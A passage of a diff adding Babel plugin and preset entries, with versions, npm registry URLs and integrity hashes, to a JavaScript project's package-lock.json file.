"node_modules/@babel/plugin-transform-new-target": { + "version": "7.27.1", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-new-target/-/plugin-transform-new-target-7.27.1.tgz", + "integrity": "sha512-f6PiYeqXQ05lYq3TIfIDu/MtliKUbNwkGApPUvyo6+tc7uaR4cPjPe7DFPr15Uyycg2lZU6btZ575CuQoYh7MQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/helper-plugin-utils": "^7.27.1" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-nullish-coalescing-operator": { + "version": "7.28.6", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-nullish-coalescing-operator/-/plugin-transform-nullish-coalescing-operator-7.28.6.tgz", + "integrity": "sha512-3wKbRgmzYbw24mDJXT7N+ADXw8BC/imU9yo9c9X9NKaLF1fW+e5H1U5QjMUBe4Qo4Ox/o++IyUkl1sVCLgevKg==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/helper-plugin-utils": "^7.28.6" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-numeric-separator": { + "version": "7.28.6", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-numeric-separator/-/plugin-transform-numeric-separator-7.28.6.tgz", + "integrity": "sha512-SJR8hPynj8outz+SlStQSwvziMN4+Bq99it4tMIf5/Caq+3iOc0JtKyse8puvyXkk3eFRIA5ID/XfunGgO5i6w==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/helper-plugin-utils": "^7.28.6" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-object-rest-spread": { + "version": "7.28.6", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-object-rest-spread/-/plugin-transform-object-rest-spread-7.28.6.tgz", + "integrity": "sha512-5rh+JR4JBC4pGkXLAcYdLHZjXudVxWMXbB6u6+E9lRL5TrGVbHt1TjxGbZ8CkmYw9zjkB7jutzOROArsqtncEA==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/helper-compilation-targets": "^7.28.6", + "@babel/helper-plugin-utils": "^7.28.6", + "@babel/plugin-transform-destructuring": "^7.28.5", + "@babel/plugin-transform-parameters": "^7.27.7", + "@babel/traverse": "^7.28.6" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-object-super": { + "version": "7.27.1", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-object-super/-/plugin-transform-object-super-7.27.1.tgz", + "integrity": "sha512-SFy8S9plRPbIcxlJ8A6mT/CxFdJx/c04JEctz4jf8YZaVS2px34j7NXRrlGlHkN/M2gnpL37ZpGRGVFLd3l8Ng==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/helper-plugin-utils": "^7.27.1", + "@babel/helper-replace-supers": "^7.27.1" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-optional-catch-binding": { + "version": "7.28.6", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-optional-catch-binding/-/plugin-transform-optional-catch-binding-7.28.6.tgz", + "integrity": "sha512-R8ja/Pyrv0OGAvAXQhSTmWyPJPml+0TMqXlO5w+AsMEiwb2fg3WkOvob7UxFSL3OIttFSGSRFKQsOhJ/X6HQdQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/helper-plugin-utils": "^7.28.6" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-optional-chaining": { + "version": "7.28.6", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-optional-chaining/-/plugin-transform-optional-chaining-7.28.6.tgz", + "integrity": "sha512-A4zobikRGJTsX9uqVFdafzGkqD30t26ck2LmOzAuLL8b2x6k3TIqRiT2xVvA9fNmFeTX484VpsdgmKNA0bS23w==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/helper-plugin-utils": "^7.28.6", + "@babel/helper-skip-transparent-expression-wrappers": "^7.27.1" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-parameters": { + "version": "7.27.7", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-parameters/-/plugin-transform-parameters-7.27.7.tgz", + "integrity": "sha512-qBkYTYCb76RRxUM6CcZA5KRu8K4SM8ajzVeUgVdMVO9NN9uI/GaVmBg/WKJJGnNokV9SY8FxNOVWGXzqzUidBg==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/helper-plugin-utils": "^7.27.1" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-private-methods": { + "version": "7.28.6", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-private-methods/-/plugin-transform-private-methods-7.28.6.tgz", + "integrity": "sha512-piiuapX9CRv7+0st8lmuUlRSmX6mBcVeNQ1b4AYzJxfCMuBfB0vBXDiGSmm03pKJw1v6cZ8KSeM+oUnM6yAExg==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/helper-create-class-features-plugin": "^7.28.6", + "@babel/helper-plugin-utils": "^7.28.6" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-private-property-in-object": { + "version": "7.28.6", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-private-property-in-object/-/plugin-transform-private-property-in-object-7.28.6.tgz", + "integrity": "sha512-b97jvNSOb5+ehyQmBpmhOCiUC5oVK4PMnpRvO7+ymFBoqYjeDHIU9jnrNUuwHOiL9RpGDoKBpSViarV+BU+eVA==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/helper-annotate-as-pure": "^7.27.3", + "@babel/helper-create-class-features-plugin": "^7.28.6", + "@babel/helper-plugin-utils": "^7.28.6" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-property-literals": { + "version": "7.27.1", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-property-literals/-/plugin-transform-property-literals-7.27.1.tgz", + "integrity": "sha512-oThy3BCuCha8kDZ8ZkgOg2exvPYUlprMukKQXI1r1pJ47NCvxfkEy8vK+r/hT9nF0Aa4H1WUPZZjHTFtAhGfmQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/helper-plugin-utils": "^7.27.1" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-react-constant-elements": { + "version": "7.27.1", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-react-constant-elements/-/plugin-transform-react-constant-elements-7.27.1.tgz", + "integrity": "sha512-edoidOjl/ZxvYo4lSBOQGDSyToYVkTAwyVoa2tkuYTSmjrB1+uAedoL5iROVLXkxH+vRgA7uP4tMg2pUJpZ3Ug==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/helper-plugin-utils": "^7.27.1" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-react-display-name": { + "version": "7.28.0", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-react-display-name/-/plugin-transform-react-display-name-7.28.0.tgz", + "integrity": "sha512-D6Eujc2zMxKjfa4Zxl4GHMsmhKKZ9VpcqIchJLvwTxad9zWIYulwYItBovpDOoNLISpcZSXoDJ5gaGbQUDqViA==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/helper-plugin-utils": "^7.27.1" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-react-jsx": { + "version": "7.28.6", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-react-jsx/-/plugin-transform-react-jsx-7.28.6.tgz", + "integrity": "sha512-61bxqhiRfAACulXSLd/GxqmAedUSrRZIu/cbaT18T1CetkTmtDN15it7i80ru4DVqRK1WMxQhXs+Lf9kajm5Ow==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/helper-annotate-as-pure": "^7.27.3", + "@babel/helper-module-imports": "^7.28.6", + "@babel/helper-plugin-utils": "^7.28.6", + "@babel/plugin-syntax-jsx": "^7.28.6", + "@babel/types": "^7.28.6" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-react-jsx-development": { + "version": "7.27.1", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-react-jsx-development/-/plugin-transform-react-jsx-development-7.27.1.tgz", + "integrity": "sha512-ykDdF5yI4f1WrAolLqeF3hmYU12j9ntLQl/AOG1HAS21jxyg1Q0/J/tpREuYLfatGdGmXp/3yS0ZA76kOlVq9Q==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/plugin-transform-react-jsx": "^7.27.1" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-react-pure-annotations": { + "version": "7.27.1", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-react-pure-annotations/-/plugin-transform-react-pure-annotations-7.27.1.tgz", + "integrity": "sha512-JfuinvDOsD9FVMTHpzA/pBLisxpv1aSf+OIV8lgH3MuWrks19R27e6a6DipIg4aX1Zm9Wpb04p8wljfKrVSnPA==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/helper-annotate-as-pure": "^7.27.1", + "@babel/helper-plugin-utils": "^7.27.1" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-regenerator": { + "version": "7.29.0", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-regenerator/-/plugin-transform-regenerator-7.29.0.tgz", + "integrity": "sha512-FijqlqMA7DmRdg/aINBSs04y8XNTYw/lr1gJ2WsmBnnaNw1iS43EPkJW+zK7z65auG3AWRFXWj+NcTQwYptUog==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/helper-plugin-utils": "^7.28.6" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-regexp-modifiers": { + "version": "7.28.6", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-regexp-modifiers/-/plugin-transform-regexp-modifiers-7.28.6.tgz", + "integrity": "sha512-QGWAepm9qxpaIs7UM9FvUSnCGlb8Ua1RhyM4/veAxLwt3gMat/LSGrZixyuj4I6+Kn9iwvqCyPTtbdxanYoWYg==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/helper-create-regexp-features-plugin": "^7.28.5", + "@babel/helper-plugin-utils": "^7.28.6" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0" + } + }, + "node_modules/@babel/plugin-transform-reserved-words": { + "version": "7.27.1", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-reserved-words/-/plugin-transform-reserved-words-7.27.1.tgz", + "integrity": "sha512-V2ABPHIJX4kC7HegLkYoDpfg9PVmuWy/i6vUM5eGK22bx4YVFD3M5F0QQnWQoDs6AGsUWTVOopBiMFQgHaSkVw==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/helper-plugin-utils": "^7.27.1" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-runtime": { + "version": "7.29.0", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-runtime/-/plugin-transform-runtime-7.29.0.tgz", + "integrity": "sha512-jlaRT5dJtMaMCV6fAuLbsQMSwz/QkvaHOHOSXRitGGwSpR1blCY4KUKoyP2tYO8vJcqYe8cEj96cqSztv3uF9w==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/helper-module-imports": "^7.28.6", + "@babel/helper-plugin-utils": "^7.28.6", + "babel-plugin-polyfill-corejs2": "^0.4.14", + "babel-plugin-polyfill-corejs3": "^0.13.0", + "babel-plugin-polyfill-regenerator": "^0.6.5", + "semver": "^6.3.1" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-runtime/node_modules/babel-plugin-polyfill-corejs3": { + "version": "0.13.0", + "resolved": "https://registry.npmjs.org/babel-plugin-polyfill-corejs3/-/babel-plugin-polyfill-corejs3-0.13.0.tgz", + "integrity": "sha512-U+GNwMdSFgzVmfhNm8GJUX88AadB3uo9KpJqS3FaqNIPKgySuvMb+bHPsOmmuWyIcuqZj/pzt1RUIUZns4y2+A==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/helper-define-polyfill-provider": "^0.6.5", + "core-js-compat": "^3.43.0" + }, + "peerDependencies": { + "@babel/core": "^7.4.0 || ^8.0.0-0 <8.0.0" + } + }, + "node_modules/@babel/plugin-transform-shorthand-properties": { + "version": "7.27.1", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-shorthand-properties/-/plugin-transform-shorthand-properties-7.27.1.tgz", + "integrity": "sha512-N/wH1vcn4oYawbJ13Y/FxcQrWk63jhfNa7jef0ih7PHSIHX2LB7GWE1rkPrOnka9kwMxb6hMl19p7lidA+EHmQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/helper-plugin-utils": "^7.27.1" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-spread": { + "version": "7.28.6", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-spread/-/plugin-transform-spread-7.28.6.tgz", + "integrity": "sha512-9U4QObUC0FtJl05AsUcodau/RWDytrU6uKgkxu09mLR9HLDAtUMoPuuskm5huQsoktmsYpI+bGmq+iapDcriKA==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/helper-plugin-utils": "^7.28.6", + "@babel/helper-skip-transparent-expression-wrappers": "^7.27.1" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-sticky-regex": { + "version": "7.27.1", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-sticky-regex/-/plugin-transform-sticky-regex-7.27.1.tgz", + "integrity": "sha512-lhInBO5bi/Kowe2/aLdBAawijx+q1pQzicSgnkB6dUPc1+RC8QmJHKf2OjvU+NZWitguJHEaEmbV6VWEouT58g==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/helper-plugin-utils": "^7.27.1" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-template-literals": { + "version": "7.27.1", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-template-literals/-/plugin-transform-template-literals-7.27.1.tgz", + "integrity": "sha512-fBJKiV7F2DxZUkg5EtHKXQdbsbURW3DZKQUWphDum0uRP6eHGGa/He9mc0mypL680pb+e/lDIthRohlv8NCHkg==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/helper-plugin-utils": "^7.27.1" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-typeof-symbol": { + "version": "7.27.1", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-typeof-symbol/-/plugin-transform-typeof-symbol-7.27.1.tgz", + "integrity": "sha512-RiSILC+nRJM7FY5srIyc4/fGIwUhyDuuBSdWn4y6yT6gm652DpCHZjIipgn6B7MQ1ITOUnAKWixEUjQRIBIcLw==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/helper-plugin-utils": "^7.27.1" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-typescript": { + "version": "7.28.6", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-typescript/-/plugin-transform-typescript-7.28.6.tgz", + "integrity": "sha512-0YWL2RFxOqEm9Efk5PvreamxPME8OyY0wM5wh5lHjF+VtVhdneCWGzZeSqzOfiobVqQaNCd2z0tQvnI9DaPWPw==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/helper-annotate-as-pure": "^7.27.3", + "@babel/helper-create-class-features-plugin": "^7.28.6", + "@babel/helper-plugin-utils": "^7.28.6", + "@babel/helper-skip-transparent-expression-wrappers": "^7.27.1", + "@babel/plugin-syntax-typescript": "^7.28.6" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-unicode-escapes": { + "version": "7.27.1", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-unicode-escapes/-/plugin-transform-unicode-escapes-7.27.1.tgz", + "integrity": "sha512-Ysg4v6AmF26k9vpfFuTZg8HRfVWzsh1kVfowA23y9j/Gu6dOuahdUVhkLqpObp3JIv27MLSii6noRnuKN8H0Mg==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/helper-plugin-utils": "^7.27.1" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-unicode-property-regex": { + "version": "7.28.6", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-unicode-property-regex/-/plugin-transform-unicode-property-regex-7.28.6.tgz", + "integrity": "sha512-4Wlbdl/sIZjzi/8St0evF0gEZrgOswVO6aOzqxh1kDZOl9WmLrHq2HtGhnOJZmHZYKP8WZ1MDLCt5DAWwRo57A==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/helper-create-regexp-features-plugin": "^7.28.5", + "@babel/helper-plugin-utils": "^7.28.6" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-unicode-regex": { + "version": "7.27.1", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-unicode-regex/-/plugin-transform-unicode-regex-7.27.1.tgz", + "integrity": "sha512-xvINq24TRojDuyt6JGtHmkVkrfVV3FPT16uytxImLeBZqW3/H52yN+kM1MGuyPkIQxrzKwPHs5U/MP3qKyzkGw==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/helper-create-regexp-features-plugin": "^7.27.1", + "@babel/helper-plugin-utils": "^7.27.1" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-unicode-sets-regex": { + "version": "7.28.6", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-unicode-sets-regex/-/plugin-transform-unicode-sets-regex-7.28.6.tgz", + "integrity": "sha512-/wHc/paTUmsDYN7SZkpWxogTOBNnlx7nBQYfy6JJlCT7G3mVhltk3e++N7zV0XfgGsrqBxd4rJQt9H16I21Y1Q==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/helper-create-regexp-features-plugin": "^7.28.5", + "@babel/helper-plugin-utils": "^7.28.6" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0" + } + }, + "node_modules/@babel/preset-env": { + "version": "7.29.2", + "resolved": "https://registry.npmjs.org/@babel/preset-env/-/preset-env-7.29.2.tgz", + "integrity": "sha512-DYD23veRYGvBFhcTY1iUvJnDNpuqNd/BzBwCvzOTKUnJjKg5kpUBh3/u9585Agdkgj+QuygG7jLfOPWMa2KVNw==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/compat-data": "^7.29.0", + "@babel/helper-compilation-targets": "^7.28.6", + "@babel/helper-plugin-utils": "^7.28.6", + "@babel/helper-validator-option": "^7.27.1", + "@babel/plugin-bugfix-firefox-class-in-computed-class-key": "^7.28.5", + "@babel/plugin-bugfix-safari-class-field-initializer-scope": "^7.27.1", + "@babel/plugin-bugfix-safari-id-destructuring-collision-in-function-expression": "^7.27.1", + "@babel/plugin-bugfix-v8-spread-parameters-in-optional-chaining": "^7.27.1", + "@babel/plugin-bugfix-v8-static-class-fields-redefine-readonly": "^7.28.6", + "@babel/plugin-proposal-private-property-in-object": "7.21.0-placeholder-for-preset-env.2", + "@babel/plugin-syntax-import-assertions": "^7.28.6", + "@babel/plugin-syntax-import-attributes": "^7.28.6", + "@babel/plugin-syntax-unicode-sets-regex": "^7.18.6", + "@babel/plugin-transform-arrow-functions": "^7.27.1", + "@babel/plugin-transform-async-generator-functions": "^7.29.0", + "@babel/plugin-transform-async-to-generator": "^7.28.6", + "@babel/plugin-transform-block-scoped-functions": "^7.27.1", + "@babel/plugin-transform-block-scoping": "^7.28.6", + "@babel/plugin-transform-class-properties": "^7.28.6", + "@babel/plugin-transform-class-static-block": "^7.28.6", + "@babel/plugin-transform-classes": "^7.28.6", + "@babel/plugin-transform-computed-properties": "^7.28.6", + "@babel/plugin-transform-destructuring": "^7.28.5", + "@babel/plugin-transform-dotall-regex": "^7.28.6", + "@babel/plugin-transform-duplicate-keys": "^7.27.1", + "@babel/plugin-transform-duplicate-named-capturing-groups-regex": "^7.29.0", + "@babel/plugin-transform-dynamic-import": "^7.27.1", + "@babel/plugin-transform-explicit-resource-management": "^7.28.6", + "@babel/plugin-transform-exponentiation-operator": "^7.28.6", + "@babel/plugin-transform-export-namespace-from": "^7.27.1", + "@babel/plugin-transform-for-of": "^7.27.1", + "@babel/plugin-transform-function-name": "^7.27.1", + "@babel/plugin-transform-json-strings": "^7.28.6", + "@babel/plugin-transform-literals": "^7.27.1", + "@babel/plugin-transform-logical-assignment-operators": "^7.28.6", + "@babel/plugin-transform-member-expression-literals": "^7.27.1", + "@babel/plugin-transform-modules-amd": "^7.27.1", + "@babel/plugin-transform-modules-commonjs": "^7.28.6", + "@babel/plugin-transform-modules-systemjs": "^7.29.0", + "@babel/plugin-transform-modules-umd": "^7.27.1", + "@babel/plugin-transform-named-capturing-groups-regex": "^7.29.0", + "@babel/plugin-transform-new-target": "^7.27.1", + "@babel/plugin-transform-nullish-coalescing-operator": "^7.28.6", + "@babel/plugin-transform-numeric-separator": "^7.28.6", + "@babel/plugin-transform-object-rest-spread": "^7.28.6", + "@babel/plugin-transform-object-super": "^7.27.1", + "@babel/plugin-transform-optional-catch-binding": "^7.28.6", + "@babel/plugin-transform-optional-chaining": "^7.28.6", + "@babel/plugin-transform-parameters": "^7.27.7", + "@babel/plugin-transform-private-methods": "^7.28.6", + "@babel/plugin-transform-private-property-in-object": "^7.28.6", + "@babel/plugin-transform-property-literals": "^7.27.1", + "@babel/plugin-transform-regenerator": "^7.29.0", + "@babel/plugin-transform-regexp-modifiers": "^7.28.6", + "@babel/plugin-transform-reserved-words": "^7.27.1", + "@babel/plugin-transform-shorthand-properties": "^7.27.1", + "@babel/plugin-transform-spread": "^7.28.6", + "@babel/plugin-transform-sticky-regex": "^7.27.1", + "@babel/plugin-transform-template-literals": "^7.27.1", + "@babel/plugin-transform-typeof-symbol": "^7.27.1", + "@babel/plugin-transform-unicode-escapes": "^7.27.1", + "@babel/plugin-transform-unicode-property-regex": "^7.28.6", + "@babel/plugin-transform-unicode-regex": "^7.27.1", + "@babel/plugin-transform-unicode-sets-regex": "^7.28.6", + "@babel/preset-modules": "0.1.6-no-external-plugins", + "babel-plugin-polyfill-corejs2": "^0.4.15", + "babel-plugin-polyfill-corejs3": "^0.14.0", + "babel-plugin-polyfill-regenerator": "^0.6.6", + "core-js-compat": "^3.48.0", + "semver": "^6.3.1" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/preset-env/node_modules/@babel/plugin-proposal-private-property-in-object": { + "version": "7.21.0-placeholder-for-preset-env.2", + "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-private-property-in-object/-/plugin-proposal-private-property-in-object-7.21.0-placeholder-for-preset-env.2.tgz", + "integrity": "sha512-SOSkfJDddaM7mak6cPEpswyTRnuRltl429hMraQEglW+OkovnCzsiszTmsrlY//qLFjCpQDFRvjdm2wA5pPm9w==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/preset-modules": { + "version": "0.1.6-no-external-plugins", + "resolved": "https://registry.npmjs.org/@babel/preset-modules/-/preset-modules-0.1.6-no-external-plugins.tgz", + "integrity": "sha512-HrcgcIESLm9aIR842yhJ5RWan/gebQUJ6E/E5+rf0y9o6oj7w0Br+sWuL6kEQ/o/AdfvR1Je9jG18/gnpwjEyA==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/helper-plugin-utils": "^7.0.0", + "@babel/types": "^7.4.4", + "esutils": "^2.0.2" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0 || ^8.0.0-0 <8.0.0" + } + }, + "node_modules/@babel/preset-react": { + "version": "7.28.5", + "resolved": "https://registry.npmjs.org/@babel/preset-react/-/preset-react-7.28.5.tgz", + "integrity": "sha512-Z3J8vhRq7CeLjdC58jLv4lnZ5RKFUJWqH5emvxmv9Hv3BD1T9R/Im713R4MTKwvFaV74ejZ3sM01LyEKk4ugNQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/helper-plugin-utils": "^7.27.1", + "@babel/helper-validator-option": "^7.27.1", + "@babel/plugin-transform-react-display-name": "^7.28.0", + "@babel/plugin-transform-react-jsx": "^7.27.1", + "@babel/plugin-transform-react-jsx-development": "^7.27.1", + "@babel/plugin-transform-react-pure-annotations": "^7.27.1" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/preset-typescript": { + "version": "7.28.5", + "resolved": "https://registry.npmjs.org/@babel/preset-typescript/-/preset-typescript-7.28.5.tgz", + "integrity": "sha512-+bQy5WOI2V6LJZpPVxY+yp66XdZ2yifu0Mc1aP5CQKgjn4QM5IN2i5fAZ4xKop47pr8rpVhiAeu+nDQa12C8+g==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/helper-plugin-utils": "^7.27.1", + "@babel/helper-validator-option": "^7.27.1", + "@babel/plugin-syntax-jsx": "^7.27.1", + "@babel/plugin-transform-modules-commonjs": "^7.27.1", + "@babel/plugin-transform-typescript": "^7.28.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/runtime": { + "version": "7.29.2", + "resolved": "https://registry.npmjs.org/@babel/runtime/-/runtime-7.29.2.tgz", + "integrity": "sha512-JiDShH45zKHWyGe4ZNVRrCjBz8Nh9TMmZG1kh4QTK8hCBTWBi8Da+i7s1fJw7/lYpM4ccepSNfqzZ/QvABBi5g==", + "license": "MIT", + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/template": { + "version": "7.28.6", + "resolved": "https://registry.npmjs.org/@babel/template/-/template-7.28.6.tgz", + "integrity": "sha512-YA6Ma2KsCdGb+WC6UpBVFJGXL58MDA6oyONbjyF/+5sBgxY/dwkhLogbMT2GXXyU84/IhRw/2D1Os1B/giz+BQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/code-frame": "^7.28.6", + "@babel/parser": "^7.28.6", + "@babel/types": "^7.28.6" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/traverse": { + "version": "7.29.0", + "resolved": "https://registry.npmjs.org/@babel/traverse/-/traverse-7.29.0.tgz", + "integrity": "sha512-4HPiQr0X7+waHfyXPZpWPfWL/J7dcN1mx9gL6WdQVMbPnF3+ZhSMs8tCxN7oHddJE9fhNE7+lxdnlyemKfJRuA==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/code-frame": "^7.29.0", + "@babel/generator": "^7.29.0", + "@babel/helper-globals": "^7.28.0", + "@babel/parser": "^7.29.0", + "@babel/template": "^7.28.6", + "@babel/types": "^7.29.0", + "debug": "^4.3.1" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/types": { + "version": "7.29.0", + "resolved": "https://registry.npmjs.org/@babel/types/-/types-7.29.0.tgz", + "integrity": "sha512-LwdZHpScM4Qz8Xw2iKSzS+cfglZzJGvofQICy7W7v4caru4EaAmyUuO6BGrbyQ2mYV11W0U8j5mBhd14dd3B0A==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/helper-string-parser": "^7.27.1", + "@babel/helper-validator-identifier": "^7.28.5" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@bcoe/v8-coverage": { + "version": "0.2.3", + "resolved": "https://registry.npmjs.org/@bcoe/v8-coverage/-/v8-coverage-0.2.3.tgz", + "integrity": "sha512-0hYQ8SB4Db5zvZB4axdMHGwEaQjkZzFjQiN9LVYvIFB2nSUHW9tYpxWriPrWDASIxiaXax83REcLxuSdnGPZtw==", + "dev": true, + "license": "MIT" + }, + "node_modules/@csstools/normalize.css": { + "version": "12.1.1", + "resolved": 